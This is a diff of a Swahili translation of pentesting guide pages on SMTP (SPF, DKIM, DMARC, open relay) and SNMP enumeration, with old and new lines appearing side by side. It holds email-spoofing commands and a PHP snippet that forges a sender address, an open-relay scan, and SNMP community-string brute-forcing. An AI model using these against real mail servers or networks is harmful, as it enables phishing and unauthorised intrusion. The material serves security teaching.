| PTR | Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja iko katika jina la domain lililotolewa na jina hilo la domain linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. |
|
||||
| EXISTS | Ikiwa jina la domain lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. |
|
||||
| INCLUDE | Inarejelea sera ya jina la domain lingine. Ikiwa sera ya jina hilo inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kikamilifu kwa sera ya jina la domain lingine, kiambatisho cha kuhamasisha kinapaswa kutumika. |
|
||||
| REDIRECT | <p>Kupeleka ni kiashiria kwa jina lingine la domain ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu ile ile ya barua pepe.</p><p>Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kupeleka itatumika.</p> |
|
||||
| MX | Ikiwa jina la kikoa lina rekodi ya MX inayotatuliwa hadi anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za kikoa). |
|
||||
| PTR | Ikiwa jina la kikoa (rekodi ya PTR) kwa anwani ya mteja iko katika kikoa kilichotolewa na jina hilo linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. |
|
||||
| EXISTS | Ikiwa jina la kikoa lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. |
|
||||
| INCLUDE | Inarejelea sera ya kikoa kingine. Ikiwa sera ya kikoa hicho inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kabisa kwa sera ya kikoa kingine, kiambatisho cha kuhamasisha kinapaswa kutumika. |
|
||||
| REDIRECT | <p>Kuhamasisha ni kiashiria cha jina lingine la kikoa ambalo lina sera ya SPF, inaruhusu kikoa kadhaa kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya kikoa ambayo inashiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya kikoa kilichoonyeshwa katika Mekanizma ya kuhamasisha itatumika.</p> |
|
||||
|
||||
Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu kinachopaswa kufanywa ikiwa mekanizma imefanikiwa**. Kwa kawaida, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo ina maana inaruhusiwa).\
|
||||
Kwa kawaida utaona **mwishoni mwa kila sera ya SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
|
||||
Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu gani kinapaswa kufanywa ikiwa mekanizma imefanikiwa**. Kwa default, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo inamaanisha inaruhusiwa).\
|
||||
Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
|
||||
|
||||
#### Wakadiriaji
|
||||
|
||||
Kila mekanizma ndani ya sera inaweza kuanzishwa kwa moja ya wakadiriaji wanne ili kufafanua matokeo yaliyokusudiwa:
|
||||
|
||||
- **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`.
|
||||
- **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum).
|
||||
- **`~`**: Inaashiria SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
|
||||
- **`-`**: Inaashiria FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.
|
||||
- **`+`**: Inalingana na matokeo ya PASS. Kwa default, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`.
|
||||
- **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum hakuna).
|
||||
- **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
|
||||
- **`-`**: Inamaanisha FAIL, ikionyesha kwamba barua pepe inapaswa kukataliwa moja kwa moja.
|
||||
|
||||
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:
|
||||
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka kwa kikoa tofauti ndani ya sera ya kwanza ya SPF:
|
||||
```shell-session
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Kiasili ilikuwa inawezekana kudanganya jina lolote la kikoa ambalo halikuwa na rekodi sahihi/ya SPF. **Sasa**, ikiwa **barua pepe** inatoka kwenye **kikoa kisichokuwa na rekodi halali ya SPF** kuna uwezekano mkubwa itakubaliwa/kutambuliwa kama isiyoaminika kiotomatiki.
|
||||
Kihistoria ilikuwa inawezekana kudanganya jina lolote la kikoa ambalo halikuwa na rekodi sahihi/ya SPF. **Sasa**, ikiwa **barua pepe** inatoka kwenye **kikoa kisichokuwa na rekodi halali ya SPF** kuna uwezekano mkubwa itakataliwa/kuwekwa alama kama isiyoaminika kiotomatiki.
|
||||
|
||||
Ili kuangalia SPF ya kikoa unaweza kutumia zana za mtandaoni kama: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DKIM inatumika kusaini barua pepe zinazotumwa, ikiruhusu uthibitishaji wao na Wakala wa Usafirishaji wa Barua (MTAs) kupitia upatikanaji wa funguo za umma za kikoa kutoka DNS. Funguo hii ya umma iko katika rekodi ya TXT ya kikoa. Ili kufikia funguo hii, mtu lazima ajue mteule na jina la kikoa.
|
||||
DKIM inatumika kusaini barua pepe zinazotoka, ikiruhusu uthibitishaji wao na Wakala wa Usafirishaji wa Barua (MTAs) kupitia upatikanaji wa funguo za umma za kikoa kutoka DNS. Funguo hii ya umma iko katika rekodi ya TXT ya kikoa. Ili kufikia funguo hii, mtu lazima ajue mteule na jina la kikoa.
|
||||
|
||||
Kwa mfano, ili kuomba funguo, jina la kikoa na mteule ni muhimu. Hizi zinaweza kupatikana katika kichwa cha barua `DKIM-Signature`, e.g., `d=gmail.com;s=20120113`.
|
||||
|
||||
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe.
|
||||
DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitishaji na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe.
|
||||
|
||||
**Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain \_dmarc**
|
||||
```bash
|
||||
@ -335,13 +335,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||
|
||||
### **What about Subdomains?**
|
||||
|
||||
**Kutoka** [**hapa**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
**From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.\
|
||||
Hii ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo.
|
||||
Ifuatayo ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo.
|
||||
|
||||
> Swali la Demon: Je, kuhusu subdomains?
|
||||
> The Demon Question: What about subdomains?
|
||||
>
|
||||
> Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.
|
||||
> Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera zao. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.
|
||||
>
|
||||
> Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX.
|
||||
>
|
||||
@ -351,13 +351,13 @@ Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuw
|
||||
|
||||
### **Open Relay**
|
||||
|
||||
Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inapatikana kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.
|
||||
Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inapatikana kupitia matumizi ya **seva ya relay ambayo inatambuliwa na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.
|
||||
|
||||
Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
Ili kuangalia kama seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya `nmap` hutumika mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, ikiwa na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia `nmap` ni:
|
||||
Ili kuangalia ikiwa seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya `nmap` hutumika mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, ikiwa na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia `nmap` ni:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ikiwa unapata **makosa katika kutumia maktaba ya dkim python** wakati wa kuchambua funguo, jisikie huru kutumia hii ifuatayo.\
|
||||
> Ikiwa unapata **kosa wakati wa kutumia maktaba ya dkim python** kuchambua funguo, jisikie huru kutumia hii ifuatayo.\
|
||||
> **KUMBUKA**: Hii ni suluhisho chafu tu la kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani funguo ya faragha ya openssl **haiwezi kuchambuliwa na dkim**.
|
||||
>
|
||||
> ```
|
||||
@ -408,7 +408,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
||||
{{#tabs}}
|
||||
{{#tab name="PHP"}}
|
||||
|
||||
<pre class="language-php"><code class="lang-php"><strong># Hii itatuma ujumbe usio na saini
|
||||
<pre class="language-php"><code class="lang-php"><strong># Hii itatuma ujumbe usio na sahihi
|
||||
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! Hii ni jaribio", "From: administrator@victim.com");
|
||||
</strong></code></pre>
|
||||
|
||||
@ -475,17 +475,17 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
### **Maelezo zaidi**
|
||||
|
||||
**Pata maelezo zaidi kuhusu ulinzi hizi katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
**Pata maelezo zaidi kuhusu ulinzi huu katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
|
||||
### **Dalili nyingine za phishing**
|
||||
|
||||
- Umri wa domain
|
||||
- Viungo vinavyoelekeza kwenye anwani za IP
|
||||
- Viungo vinavyoelekea kwenye anwani za IP
|
||||
- Mbinu za manipulation ya viungo
|
||||
- Viambatisho vya kushangaza (visivyo vya kawaida)
|
||||
- Maudhui ya barua pepe yaliyovunjika
|
||||
- Thamani zinazotumika ambazo ni tofauti na zile za vichwa vya barua
|
||||
- Upoaji wa cheti halali na kinachoaminika cha SSL
|
||||
- Uwepo wa cheti halali na kinachoaminika cha SSL
|
||||
- Uwasilishaji wa ukurasa kwa tovuti za kuchuja maudhui ya wavuti
|
||||
|
||||
## Uhamasishaji kupitia SMTP
|
||||
@ -520,7 +520,7 @@ Description: Notes for SMTP
|
||||
Note: |
|
||||
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -15,7 +15,7 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
### MIB
|
||||
|
||||
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na kwa mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchi ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\
|
||||
Ili kuhakikisha kuwa ufikiaji wa SNMP unafanya kazi kati ya watengenezaji na mchanganyiko tofauti wa mteja-seva, **Management Information Base (MIB)** iliundwa. MIB ni **format huru ya kuhifadhi taarifa za kifaa**. MIB ni **faili ya maandiko** ambayo vitu vyote vinavyoweza kuulizwa vya **SNMP** vya kifaa vimeorodheshwa katika **hierarchy ya miti iliyoandikwa kwa kiwango**. Inajumuisha angalau **`Object Identifier` (`OID`)**, ambayo, pamoja na **anwani ya kipekee** na **jina**, pia inatoa taarifa kuhusu aina, haki za ufikiaji, na maelezo ya kitu husika.\
|
||||
Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax Notation One` (`ASN.1`). **MIBs hazina data**, lakini zinaelezea **wapi kupatikana taarifa gani** na inavyoonekana, ambayo inarudisha thamani kwa OID maalum, au ni aina gani ya data inayotumika.
|
||||
|
||||
### OIDs
|
||||
@ -24,12 +24,12 @@ Mifano ya MIB imeandikwa katika format ya maandiko ya ASCII ya `Abstract Syntax
|
||||
|
||||
Viwango vya juu vya vitambulisho vya MIB, au OIDs, vimepewa mashirika mbalimbali yanayoweka viwango. Ni ndani ya viwango hivi vya juu ambapo mfumo wa mazoea na viwango vya usimamizi wa kimataifa umeanzishwa.
|
||||
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi binafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyo na usimamizi vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
Zaidi ya hayo, wauzaji wanapewa uhuru wa kuanzisha matawi ya kibinafsi. Ndani ya matawi haya, wana **uhuru wa kujumuisha vitu vilivyodhibitiwa vinavyohusiana na mistari yao ya bidhaa**. Mfumo huu unahakikisha kuwa kuna njia iliyopangwa na iliyoandaliwa ya kutambua na kusimamia anuwai ya vitu kati ya wauzaji na viwango tofauti.
|
||||
|
||||
.png>)
|
||||
|
||||
Unaweza **kuvinjari** kupitia **OID tree** kutoka kwenye wavuti hapa: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) au **ona maana ya OID** (kama `1.3.6.1.2.1.1`) kwa kufikia [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanuliwa Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hapa** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
|
||||
Kuna **OIDs maarufu** kama zile ndani ya [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) zinazorejelea MIB-2 iliyofafanuliwa Simple Network Management Protocol (SNMP) variables. Na kutoka kwa **OIDs zinazotarajiwa kutoka hii** unaweza kupata data ya kuvutia ya mwenyeji (data ya mfumo, data ya mtandao, data ya michakato...)
|
||||
|
||||
### **OID Mfano**
|
||||
|
||||
@ -56,7 +56,7 @@ Tukihamia kwenye seti inayofuata ya nambari.
|
||||
|
||||
Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
|
||||
|
||||
- 5 – inaashiria alama ya alamu ya pekee.
|
||||
- 5 – inaashiria alama ya alamu isiyo ya kawaida.
|
||||
- 1 – alama maalum katika kifaa
|
||||
- 3 – bandari
|
||||
- 21 – anwani ya bandari
|
||||
@ -68,8 +68,8 @@ Thamani zilizobaki zinatoa taarifa maalum kuhusu kifaa.
|
||||
|
||||
Kuna toleo 2 muhimu za SNMP:
|
||||
|
||||
- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (taarifa zote zinatembea kwa maandiko wazi). **Toleo 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**.
|
||||
- **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (attack ya **dictionary** inaweza kufanywa lakini itakuwa ngumu zaidi kupata creds sahihi kuliko katika SNMPv1 na v2).
|
||||
- **SNMPv1**: Kuu, bado ni ya kawaida zaidi, **uthibitishaji unategemea mfuatano** (community string) unaosafiri kwa **maandishi wazi** (maelezo yote yanatembea kwa maandiko wazi). **Toleo 2 na 2c** pia hutuma **trafiki kwa maandiko wazi** na hutumia **mfuatano wa jamii kama uthibitishaji**.
|
||||
- **SNMPv3**: Inatumia aina bora ya **uthibitishaji** na taarifa inasafiri **imefichwa** (ushambuliaji wa **dictionary** unaweza kufanywa lakini itakuwa ngumu zaidi kupata akidi sahihi kuliko katika SNMPv1 na v2).
|
||||
|
||||
### Community Strings
|
||||
|
||||
@ -79,16 +79,16 @@ Kuna **aina 2 za mfuatano wa jamii**:
|
||||
- **`public`** hasa **kazi za kusoma tu**
|
||||
- **`private`** **Soma/Andika** kwa ujumla
|
||||
|
||||
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii ulio tumika**, hivyo **hata** ukigundua kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
|
||||
Ikiwa unajaribu **kuandika** kitu, **`noSuchName` au `readOnly` kosa** linapokelewa\*\*.\*\*
|
||||
Kumbuka kuwa **uwezo wa kuandika OID unategemea mfuatano wa jamii unaotumika**, hivyo **hata** kama unapata kuwa "**public**" inatumika, unaweza kuwa na uwezo wa **kuandika baadhi ya thamani.** Pia, kuna **weza** kuwepo vitu ambavyo ni **daima "Soma Tu".**\
|
||||
Ikiwa unajaribu **kuandika** kitu, **kosa `noSuchName` au `readOnly`** linapokelewa\*\*.\*\*
|
||||
|
||||
Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitajibu. Hivyo, ikiwa inajibu, **mfuatano wa jamii halali umetumika**.
|
||||
|
||||
## Ports
|
||||
|
||||
[Kutoka Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
|
||||
[From Wikipedia](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
|
||||
|
||||
- Wakala wa SNMP hupokea maombi kwenye bandari ya UDP **161**.
|
||||
- Wakala wa SNMP hupokea maombi kwenye bandari **161/UDP**.
|
||||
- Meneja hupokea arifa ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) na [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) kwenye bandari **162**.
|
||||
- Wakati inapotumika na [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) au [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), maombi yanapokelewa kwenye bandari **10161** na arifa zinatumwa kwenye bandari **10162**.
|
||||
|
||||
@ -96,9 +96,9 @@ Katika matoleo 1 na 2/2c ikiwa utatumia mfuatano wa jamii **mbaya** seva haitaji
|
||||
|
||||
Ili **kukisia mfuatano wa jamii** unaweza kufanya shambulio la kamusi. Angalia [hapa njia tofauti za kufanya shambulio la brute-force dhidi ya SNMP](../../generic-hacking/brute-force.md#snmp). Mfuatano wa jamii unaotumika mara nyingi ni `public`.
|
||||
|
||||
## Kuorodhesha SNMP
|
||||
## Enumerating SNMP
|
||||
|
||||
Inapendekezwa kufunga yafuatayo ili kuona maana ya **kila OID iliyokusanywa** kutoka kwa kifaa:
|
||||
Inashauriwa kufunga yafuatayo ili kuona maana ya **kila OID iliyokusanywa** kutoka kwa kifaa:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
@ -121,11 +121,11 @@ nmap --script "snmp* and not snmp-brute" <target>
|
||||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Shukrani kwa maswali ya kupanuliwa (download-mibs), inawezekana kuhesabu zaidi kuhusu mfumo kwa kutumia amri ifuatayo:
|
||||
Shukrani kwa maswali ya kupanuliwa (download-mibs), inawezekana kuorodhesha zaidi kuhusu mfumo kwa kutumia amri ifuatayo:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kupendezwa nayo ni: **Interfaces za Mtandao** (anwani za **IPv4** na **IPv6**), Majina ya Watumiaji, Wakati wa Uendeshaji, Toleo la Server/OS, na **mchakato**
|
||||
**SNMP** ina taarifa nyingi kuhusu mwenyeji na mambo ambayo unaweza kuyapata ya kuvutia ni: **Interfaces za Mtandao** (anwani za **IPv4** na **IPv6**), Majina ya Watumiaji, Wakati wa Uendeshaji, Toleo la Server/OS, na **mchakato**
|
||||
|
||||
**unaotembea** (inaweza kuwa na nywila)....
|
||||
|
||||
@ -135,26 +135,26 @@ Katika eneo la usimamizi wa mtandao, mipangilio na vigezo fulani ni muhimu kuhak
|
||||
|
||||
### Mipangilio ya Ufikiaji
|
||||
|
||||
Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni sehemu muhimu katika usimamizi wa mtandao:
|
||||
Mipangilio miwili kuu inaruhusu ufikiaji wa **mti mzima wa OID**, ambao ni kipengele muhimu katika usimamizi wa mtandao:
|
||||
|
||||
1. **`rwuser noauth`** imewekwa kuruhusu ufikiaji kamili wa mti wa OID bila haja ya uthibitisho. Mipangilio hii ni rahisi na inaruhusu ufikiaji usio na vizuizi.
|
||||
2. Kwa udhibiti maalum zaidi, ufikiaji unaweza kutolewa kwa kutumia:
|
||||
- **`rwcommunity`** kwa anwani za **IPv4**, na
|
||||
- **`rwcommunity6`** kwa anwani za **IPv6**.
|
||||
|
||||
Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali chanzo cha ombi.
|
||||
Amri zote zinahitaji **nywila ya jamii** na anwani husika ya IP, zikitoa ufikiaji kamili bila kujali asili ya ombi.
|
||||
|
||||
### Vigezo vya SNMP kwa Microsoft Windows
|
||||
|
||||
Mfululizo wa **Thamani za Msingi wa Taarifa za Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
|
||||
Mfululizo wa **Thamani za Msingi wa Usimamizi (MIB)** hutumiwa kufuatilia vipengele mbalimbali vya mfumo wa Windows kupitia SNMP:
|
||||
|
||||
- **Mchakato wa Mfumo**: Inapatikana kupitia `1.3.6.1.2.1.25.1.6.0`, vigezo hivi vinaruhusu ufuatiliaji wa michakato hai ndani ya mfumo.
|
||||
- **Programu Zinazoendesha**: Thamani ya `1.3.6.1.2.1.25.4.2.1.2` imetengwa kwa ajili ya kufuatilia programu zinazotembea kwa sasa.
|
||||
- **Njia za Michakato**: Ili kubaini mahali mchakato unapoendesha, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
|
||||
- **Njia za Michakato**: Ili kubaini mahali mchakato unapotokea, thamani ya `1.3.6.1.2.1.25.4.2.1.4` ya MIB inatumika.
|
||||
- **Vitengo vya Hifadhi**: Ufuatiliaji wa vitengo vya hifadhi unarahisishwa na `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Jina la Programu**: Ili kubaini programu iliyosanikishwa kwenye mfumo, `1.3.6.1.2.1.25.6.3.1.2` inatumika.
|
||||
- **Akaunti za Watumiaji**: Thamani ya `1.3.6.1.4.1.77.1.2.25` inaruhusu ufuatiliaji wa akaunti za watumiaji.
|
||||
- **Ports za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa ports za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao.
|
||||
- **Port za TCP za Mitaa**: Hatimaye, `1.3.6.1.2.1.6.13.1.3` imetengwa kwa ajili ya ufuatiliaji wa port za TCP za mitaa, ikitoa mwanga kuhusu muunganisho hai wa mtandao.
|
||||
|
||||
### Cisco
|
||||
|
||||
@ -174,7 +174,7 @@ snmp-rce.md
|
||||
|
||||
## **SNMP Kubwa**
|
||||
|
||||
